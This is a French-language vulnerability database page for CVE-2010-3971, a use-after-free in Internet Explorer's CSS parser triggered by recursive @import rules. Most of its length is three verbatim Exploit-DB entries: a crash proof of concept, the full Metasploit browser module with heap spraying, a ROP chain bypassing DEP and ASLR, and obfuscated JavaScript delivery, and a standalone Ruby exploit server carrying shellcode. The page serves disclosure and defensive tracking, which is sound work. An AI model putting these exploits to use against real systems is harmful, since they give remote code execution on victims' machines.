CVE-2010-3971 : Détail

CVE-2010-3971

85.81%V4
Network
2010-12-22
19h00 +00:00
2018-10-12
17h57 +00:00
Notifications pour un CVE
Restez informé de toutes modifications pour un CVE spécifique.
Gestion des notifications

Descriptions du CVE

Use-after-free vulnerability in the CSharedStyleSheet::Notify function in the Cascading Style Sheets (CSS) parser in mshtml.dll, as used in Microsoft Internet Explorer 6 through 8 and other products, allows remote attackers to execute arbitrary code or cause a denial of service (application crash) via a self-referential @import rule in a stylesheet, aka "CSS Memory Corruption Vulnerability."

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-399 Category : Resource Management Errors
Weaknesses in this category are related to improper management of system resources.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V2 9.3 AV:N/AC:M/Au:N/C:C/I:C/A:C nvd@nist.gov

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Informations sur l'Exploit

Exploit Database EDB-ID : 15708

Date de publication : 2010-12-07 23h00 +00:00
Auteur : WooYun
EDB Vérifié : Yes

<code> <div style="position: absolute; top: -999px;left: -999px;"> <link href="css.css" rel="stylesheet" type="text/css" /> </code> <code of css.css> *{ color:red; } @import url("css.css"); @import url("css.css"); @import url("css.css"); @import url("css.css"); </code> Exploit-DB Notes: * Original credit goes to an unidentified researcher using WooYun anonymous account "路人甲". WooYun is a connection platform for vendors and security researchers: http://www.wooyun.org/bugs/wooyun-2010-0885 * Dec 22, 2010 - Microsoft releases security advisory for this vulnerability: http://www.microsoft.com/technet/security/advisory/2488013.mspx
Exploit Database EDB-ID : 16533

Date de publication : 2011-02-07 23h00 +00:00
Auteur : Metasploit
EDB Vérifié : Yes

## # $Id: ms11_003_ie_css_import.rb 11730 2011-02-08 23:31:44Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GoodRanking # Need more love for Great include Msf::Exploit::Remote::HttpServer::HTML include Msf::Exploit::Remote::BrowserAutopwn autopwn_info({ :ua_name => HttpClients::IE, :ua_minver => "7.0", # Should be 6 :ua_maxver => "8.0", :javascript => true, :os_name => OperatingSystems::WINDOWS, :vuln_test => nil, # no way to test without just trying it }) def initialize(info = {}) super(update_info(info, 'Name' => 'Internet Explorer CSS Recursive Import Use After Free', 'Description' => %q{ This module exploits a memory corruption vulnerability within Microsoft\'s HTML engine (mshtml). When parsing an HTML page containing a recursive CSS import, a C++ object is deleted and later reused. This leads to arbitrary code execution. This exploit utilizes a combination of heap spraying and the .NET 2.0 'mscorie.dll' module to bypass DEP and ASLR. This module does not opt-in to ASLR. As such, this module should be reliable on all Windows versions with .NET 2.0.50727 installed. }, 'License' => MSF_LICENSE, 'Author' => [ 'passerby', # Initial discovery / report 'd0c_s4vage', # First working public exploit 'jduck' # Metasploit module (ROP, @WTFuzz spray) ], 'Version' => '$Revision: 11730 $', 'References' => [ [ 'CVE', '2010-3971' ], [ 'OSVDB', '69796' ], [ 'BID', '45246' ], [ 'URL', 'http://www.microsoft.com/technet/security/advisory/2488013.mspx' ], [ 'URL', 'http://www.wooyun.org/bugs/wooyun-2010-0885' ], [ 'URL', 'http://seclists.org/fulldisclosure/2010/Dec/110' ], [ 'URL', 'http://xcon.xfocus.net/XCon2010_ChenXie_EN.pdf' ], # .NET 2.0 ROP (slide 25) [ 'URL', 'http://www.breakingpointsystems.com/community/blog/ie-vulnerability/' ], [ 'MSB', 'MS11-003' ] ], 'DefaultOptions' => { 'EXITFUNC' => 'process', 'InitialAutoRunScript' => 'migrate -f', }, 'Payload' => { 'Space' => 1024, 'BadChars' => "\x00", 'DisableNops' => true }, 'Platform' => 'win', 'Targets' => [ [ 'Automatic', { } ], [ 'Internet Explorer 8', { 'Ret' => 0x105ae020, 'OnePtrOff' => 0x18, 'DerefOff' => 0x30, 'FlagOff' => 0x54, 'CallDeref1' => 0x20, 'SignedOff' => 0x1c, 'CallDeref2' => 0x24, 'CallDeref3' => 0x00, 'CallDeref4' => 0x20, 'Deref4Off' => 0x08 } ], [ 'Internet Explorer 7', { 'Ret' => 0x105ae020, 'OnePtrOff' => 0x14, 'DerefOff' => 0x5c, 'FlagOff' => 0x34, 'CallDeref1' => 0x1c, 'SignedOff' => 0x18, 'CallDeref2' => 0x20, 'CallDeref3' => 0x00, 'CallDeref4' => 0x20, 'Deref4Off' => 0x08 } ], # For now, treat the IE6 target the same as teh debug target. [ 'Internet Explorer 6', { 'Ret' => 0xc0c0c0c0, 'OnePtrOff' => 0x14, 'DerefOff' => 0x5c, 'FlagOff' => 0x34, 'CallDeref1' => 0x1c, 'SignedOff' => 0x18, 'CallDeref2' => 0x20, 'CallDeref3' => 0x00, 'CallDeref4' => 0x20, 'Deref4Off' => 0x08 } ], [ 'Debug Target (Crash)', { 'Ret' => 0xc0c0c0c0, 'OnePtrOff' => 0, 'DerefOff' => 4, 'FlagOff' => 8, 'CallDeref1' => 0xc, 'SignedOff' => 0x10, 'CallDeref2' => 0x14, 'CallDeref3' => 0x18, 'CallDeref4' => 0x1c, 'Deref4Off' => 0x20 } ] ], # Full-disclosure post was Dec 8th, original blog Nov 29th 'DisclosureDate' => 'Nov 29 2010', 'DefaultTarget' => 0)) end def auto_target(cli, request) mytarget = nil agent = request.headers['User-Agent'] #print_status("Checking user agent: #{agent}") if agent !~ /\.NET CLR 2\.0\.50727/ print_error("#{cli.peerhost}:#{cli.peerport} Target machine does not have the .NET CLR 2.0.50727") return nil end if agent =~ /MSIE 6\.0/ mytarget = targets[3] elsif agent =~ /MSIE 7\.0/ mytarget = targets[2] elsif agent =~ /MSIE 8\.0/ mytarget = targets[1] else print_error("#{cli.peerhost}:#{cli.peerport} Unknown User-Agent #{agent}") end mytarget end def on_request_uri(cli, request) print_status("#{cli.peerhost}:#{cli.peerport} Received request for %s" % request.uri.inspect) mytarget = target if target.name == 'Automatic' mytarget = auto_target(cli, request) if (not mytarget) send_not_found(cli) return end end #print_status("#{cli.peerhost}:#{cli.peerport} Automatically selected target: #{mytarget.name}") buf_addr = mytarget.ret css_name = [buf_addr].pack('V') * (16 / 4) # We stick in a placeholder string to replace after UTF-16 encoding placeholder = "a" * (css_name.length / 2) uni_placeholder = Rex::Text.to_unicode(placeholder) if request.uri == get_resource() or request.uri =~ /\/$/ print_status("#{cli.peerhost}:#{cli.peerport} Sending #{self.refname} redirect") redir = get_resource() redir << '/' if redir[-1,1] != '/' redir << rand_text_alphanumeric(4+rand(4)) redir << '.html' send_redirect(cli, redir) elsif request.uri =~ /\.html?$/ # Re-generate the payload return if ((p = regenerate_payload(cli)) == nil) print_status("#{cli.peerhost}:#{cli.peerport} Sending #{self.refname} HTML") # Generate the ROP payload rvas = rvas_mscorie_v2() rop_stack = generate_rop(buf_addr, rvas) fix_esp = rva2addr(rvas, 'leave / ret') ret = rva2addr(rvas, 'ret') pivot1 = rva2addr(rvas, 'call [ecx+4] / xor eax, eax / pop ebp / ret 8') pivot2 = rva2addr(rvas, 'xchg eax, esp / mov eax, [eax] / mov [esp], eax / ret') # Append the payload to the rop_stack rop_stack << p.encoded # Build the deref-fest buffer len = 0x84 + rop_stack.length special_sauce = rand_text_alpha(len) # This ptr + off must contain 0x00000001 special_sauce[mytarget['OnePtrOff'], 4] = [1].pack('V') # Pointer that is dereferenced to get the flag special_sauce[mytarget['DerefOff'], 4] = [buf_addr].pack('V') # Low byte must not have bit 1 set no_bit1 = rand(0xff) & ~2 special_sauce[mytarget['FlagOff'], 1] = [no_bit1].pack('V') # These are deref'd to figure out what to call special_sauce[mytarget['CallDeref1'], 4] = [buf_addr].pack('V') special_sauce[mytarget['CallDeref2'], 4] = [buf_addr].pack('V') special_sauce[mytarget['CallDeref3'], 4] = [buf_addr + mytarget['Deref4Off']].pack('V') # Finally, this one becomes eip special_sauce[mytarget['CallDeref4'] + mytarget['Deref4Off'], 4] = [pivot1].pack('V') # This byte must be signed (shorter path to flow control) signed_byte = rand(0xff) | 0x80 special_sauce[mytarget['SignedOff'], 1] = [signed_byte].pack('C') # These offsets become a fix_esp ret chain .. special_sauce[0x04, 4] = [pivot2].pack('V') # part two of our stack pivot! special_sauce[0x0c, 4] = [buf_addr + 0x84 - 4].pack('V') # becomes ebp, for fix esp special_sauce[0x10, 4] = [fix_esp].pack('V') # our stack pivot ret's to this (fix_esp, from eax) # Add in the rest of the ROP stack special_sauce[0x84, rop_stack.length] = rop_stack # Format for javascript use special_sauce = Rex::Text.to_unescape(special_sauce) js_function = rand_text_alpha(rand(100)+1) # Construct the javascript custom_js = <<-EOS function #{js_function}() { heap = new heapLib.ie(0x20000); var heapspray = unescape("#{special_sauce}"); while(heapspray.length < 0x1000) heapspray += unescape("%u4444"); var heapblock = heapspray; while(heapblock.length < 0x40000) heapblock += heapblock; finalspray = heapblock.substring(2, 0x40000 - 0x21); for(var counter = 0; counter < 500; counter++) { heap.alloc(finalspray); } var vlink = document.createElement("link"); vlink.setAttribute("rel", "Stylesheet"); vlink.setAttribute("type", "text/css"); vlink.setAttribute("href", "#{placeholder}") document.getElementsByTagName("head")[0].appendChild(vlink); } EOS opts = { 'Symbols' => { 'Variables' => %w{ heapspray vlink heapblock heap finalspray counter }, 'Methods' => %w{ prepare } } } custom_js = ::Rex::Exploitation::ObfuscateJS.new(custom_js, opts) js = heaplib(custom_js) dll_uri = get_resource() dll_uri << '/' if dll_uri[-1,1] != '/' dll_uri << "generic-" + Time.now.to_i.to_s + ".dll" # Construct the final page html = <<-EOS <html> <head> <script language='javascript'> #{js} </script> </head> <body onload='#{js_function}()'> <object classid="#{dll_uri}#GenericControl"> </body> </html> EOS html = "\xff\xfe" + Rex::Text.to_unicode(html) html.gsub!(uni_placeholder, css_name) send_response(cli, html, { 'Content-Type' => 'text/html' }) elsif request.uri =~ /\.dll$/ print_status("#{cli.peerhost}:#{cli.peerport} Sending #{self.refname} .NET DLL") # Generate a .NET v2.0 DLL, note that it doesn't really matter what this contains since we don't actually # use it's contents ... ibase = (0x2000 | rand(0x8000)) << 16 dll = Msf::Util::EXE.to_dotnetmem(ibase, rand_text(16)) # Send a .NET v2.0 DLL down send_response(cli, dll, { 'Content-Type' => 'application/x-msdownload', 'Connection' => 'close', 'Pragma' => 'no-cache' }) else # Defines two different CSS import styles import_styles = [ "@import url(\"#{placeholder}\");\n", "@import \"#{placeholder}\";\n" ] # Choose four imports of random style css = '' 4.times { css << import_styles[rand(import_styles.length)] } css = "\xff\xfe" + Rex::Text.to_unicode(css) css.gsub!(uni_placeholder, css_name) print_status("#{cli.peerhost}:#{cli.peerport} Sending #{self.refname} CSS") send_response(cli, css, { 'Content-Type' => 'text/css' }) end # Handle the payload handler(cli) end def rvas_mscorie_v2() # mscorie.dll version v2.0.50727.3053 # Just return this hash { 'call [ecx+4] / xor eax, eax / pop ebp / ret 8' => 0x237e, 'xchg eax, esp / mov eax, [eax] / mov [esp], eax / ret' => 0x575b, 'leave / ret' => 0x25e5, 'ret' => 0x25e5+1, 'call [ecx] / pop ebp / ret 0xc' => 0x1ec4, 'pop eax / ret' => 0x5ba1, 'pop ebx / ret' => 0x54c0, 'pop ecx / ret' => 0x1e13, 'pop esi / ret' => 0x1d9a, 'pop edi / ret' => 0x2212, 'mov [ecx], eax / mov al, 1 / pop ebp / ret 0xc' => 0x61f6, 'movsd / mov ebp, 0x458bffff / sbb al, 0x3b / ret' => 0x6154, } end def generate_rop(buf_addr, rvas) # ROP fun! (XP SP3 English, Dec 15 2010) rvas.merge!({ # Instructions / Name => RVA 'BaseAddress' => 0x63f00000, 'imp_VirtualAlloc' => 0x10f4 }) rop_stack = [ # Allocate an RWX memory segment 'pop ecx / ret', 'imp_VirtualAlloc', 'call [ecx] / pop ebp / ret 0xc', 0, # lpAddress 0x1000, # dwSize 0x3000, # flAllocationType 0x40, # flProt :unused, # Copy the original payload 'pop ecx / ret', :unused, :unused, :unused, :memcpy_dst, 'mov [ecx], eax / mov al, 1 / pop ebp / ret 0xc', :unused, 'pop esi / ret', :unused, :unused, :unused, :memcpy_src, 'pop edi / ret', 0xdeadf00d # to be filled in above ] (0x200 / 4).times { rop_stack << 'movsd / mov ebp, 0x458bffff / sbb al, 0x3b / ret' } # Execute the payload ;) rop_stack << 'call [ecx] / pop ebp / ret 0xc' rop_stack.map! { |e| if e.kind_of? String # Meta-replace (RVA) raise RuntimeError, "Unable to locate key: \"#{e}\"" if not rvas[e] rvas['BaseAddress'] + rvas[e] elsif e == :unused # Randomize rand_text(4).unpack('V').first elsif e == :memcpy_src # Based on stack length.. buf_addr + 0x84 + (rop_stack.length * 4) elsif e == :memcpy_dst # Store our new memory ptr into our buffer for later popping :) buf_addr + 0x84 + (21 * 4) else # Literal e end } rop_stack.pack('V*') end def rva2addr(rvas, key) raise RuntimeError, "Unable to locate key: \"#{key}\"" if not rvas[key] rvas['BaseAddress'] + rvas[key] end end
Exploit Database EDB-ID : 15746

Date de publication : 2010-12-14 23h00 +00:00
Auteur : Nephi Johnson
EDB Vérifié : Yes

#!/usr/bin/env ruby # Source: http://www.breakingpointsystems.com/community/blog/ie-vulnerability/ # Author: Nephi Johnson (d0c_s4vage) require 'socket' def http_send(sock, data, opts={}) defaults = {:code=>"200", :message=>"OK", :type=>"text/html"} opts = defaults.merge(opts) code = opts[:code] message = opts[:message] type = opts[:type] to_send = "HTTP/1.1 #{code} #{message}\r\n" + "Date: Sat, 11 Dec 2010 14:20:23 GMT\r\n" + "Cache-Control: no-cache\r\n" + "Content-Type: #{type}\r\n" + "Pragma: no-cache\r\n" + "Content-Length: #{data.length}\r\n\r\n" + "#{data}" puts "[+] Sending:" to_send.split("\n").each do |line| puts " #{line}" end sock.write(to_send) rescue return false return true end def sock_read(sock, out_str, timeout=5) begin if Kernel.select([sock],[],[],timeout) out_str.replace(sock.recv(1024)) puts "[+] Received:" out_str.split("\n").each do |line| puts " #{line}" end else sock.close return false end rescue Exception => ex return false end end def to_uni(str) res = "" str.each_byte do |b| res << "\x00#{b.chr}" end res end @css_name = "\x00s\x03s\x00s\x03s\x00s\x03s\x00s\x03s" @html_name = "test.html" placeholder = "a" * (@css_name.length/2) @html = <<-HTML <script> function dup_str(str, length) { var res = str; while(res.length < length) { res += res; } res = res.substr(res.length - length); return res; } function to_bin(str) { var res = ""; while(str.length > 0) { var first = str.substr(0, 2); var second = str.substr(2, 2); res += "%u" + second + first; str = (str.length > 4) ? str.substr(4) : ""; } return unescape(res); } // first heap spray var base = dup_str(to_bin("0c0c0c0900000008000000730073030100000000010000730073030c"), 512+6); var arr = [] for(var i = 0; i < 60000; i++) { arr[i] = ["" + base].join(""); } // second heap spray w/ shellcode var nops = dup_str(to_bin("0c0c0c0c"), 4096+6); // windows/exec - 200 bytes // http://www.metasploit.com // EXITFUNC=process, CMD=calc.exe var shellcode = unescape("%ue8fc%u0089%u0000%u8960%u31e5%u64d2%u528b%u8b30" + "%u0c52%u528b%u8b14%u2872%ub70f%u264a%uff31%uc031" + "%u3cac%u7c61%u2c02%uc120%u0dcf%uc701%uf0e2%u5752" + "%u528b%u8b10%u3c42%ud001%u408b%u8578%u74c0%u014a" + "%u50d0%u488b%u8b18%u2058%ud301%u3ce3%u8b49%u8b34" + "%ud601%uff31%uc031%uc1ac%u0dcf%uc701%ue038%uf475" + "%u7d03%u3bf8%u247d%ue275%u8b58%u2458%ud301%u8b66" + "%u4b0c%u588b%u011c%u8bd3%u8b04%ud001%u4489%u2424" + "%u5b5b%u5961%u515a%ue0ff%u5f58%u8b5a%ueb12%u5d86" + "%u016a%u858d%u00b9%u0000%u6850%u8b31%u876f%ud5ff" + "%uf0bb%ua2b5%u6856%u95a6%u9dbd%ud5ff%u063c%u0a7c" + "%ufb80%u75e0%ubb05%u1347%u6f72%u006a%uff53%u63d5" + "%u6c61%u2e63%u7865%u0065"); var arr2 = []; for(var i = 0; i < 30000; i++) { arr2[i] = [nops + shellcode].join(""); } // write the link to the stylesheet var link = document.createElement("link"); link.setAttribute("rel", "Stylesheet"); link.setAttribute("type", "text/css"); link.setAttribute("href", "#{placeholder}") document.getElementsByTagName("head")[0].appendChild(link); </script> HTML @html = "\xfe\xff" + to_uni(@html) @html.gsub!(to_uni(placeholder), @css_name) @css = <<-CSS @import url("#{placeholder}"); @import url("#{placeholder}"); @import url("#{placeholder}"); @import url("#{placeholder}"); CSS @css = "\xfe\xff" + to_uni(@css) @css.gsub!(to_uni(placeholder), @css_name) @index = <<-INDEX <a href="#{@html_name}">#{@html_name}</a> INDEX TCPServer.open(55555) do |srv| while true cli = srv.accept req = "" html = "" css = "" index = "" next unless sock_read(cli, req, 5) while req.length > 0 if req =~ /GET/ if req =~ /GET.*#{Regexp.escape(@html_name)}/ break unless http_send(cli, @html, :type=>"text/html") elsif req =~ /GET.*index/ break unless http_send(cli, @index) elsif req =~ /GET.*#{Regexp.escape(@css_name)}/ break unless http_send(cli, @css, :type=>"text/css") else break unless http_send(cli, @css, :type=>"text/css") end elsif req =~ /QUIT/ exit() end req = "" next unless sock_read(cli, req, 5) end cli.close rescue next end end

Products Mentioned

Configuraton 0

Microsoft>>Internet_explorer >> Version 7

Microsoft>>Internet_explorer >> Version 8

Références

http://www.kb.cert.org/vuls/id/634956
Tags : third-party-advisory, x_refsource_CERT-VN
http://www.exploit-db.com/exploits/15746
Tags : exploit, x_refsource_EXPLOIT-DB
http://www.vupen.com/english/advisories/2011/0318
Tags : vdb-entry, x_refsource_VUPEN
http://www.exploit-db.com/exploits/15708
Tags : exploit, x_refsource_EXPLOIT-DB
http://www.vupen.com/english/advisories/2010/3156
Tags : vdb-entry, x_refsource_VUPEN
http://www.securitytracker.com/id?1024922
Tags : vdb-entry, x_refsource_SECTRACK
http://seclists.org/fulldisclosure/2010/Dec/110
Tags : mailing-list, x_refsource_FULLDISC
http://www.securityfocus.com/bid/45246
Tags : vdb-entry, x_refsource_BID
http://secunia.com/advisories/42510
Tags : third-party-advisory, x_refsource_SECUNIA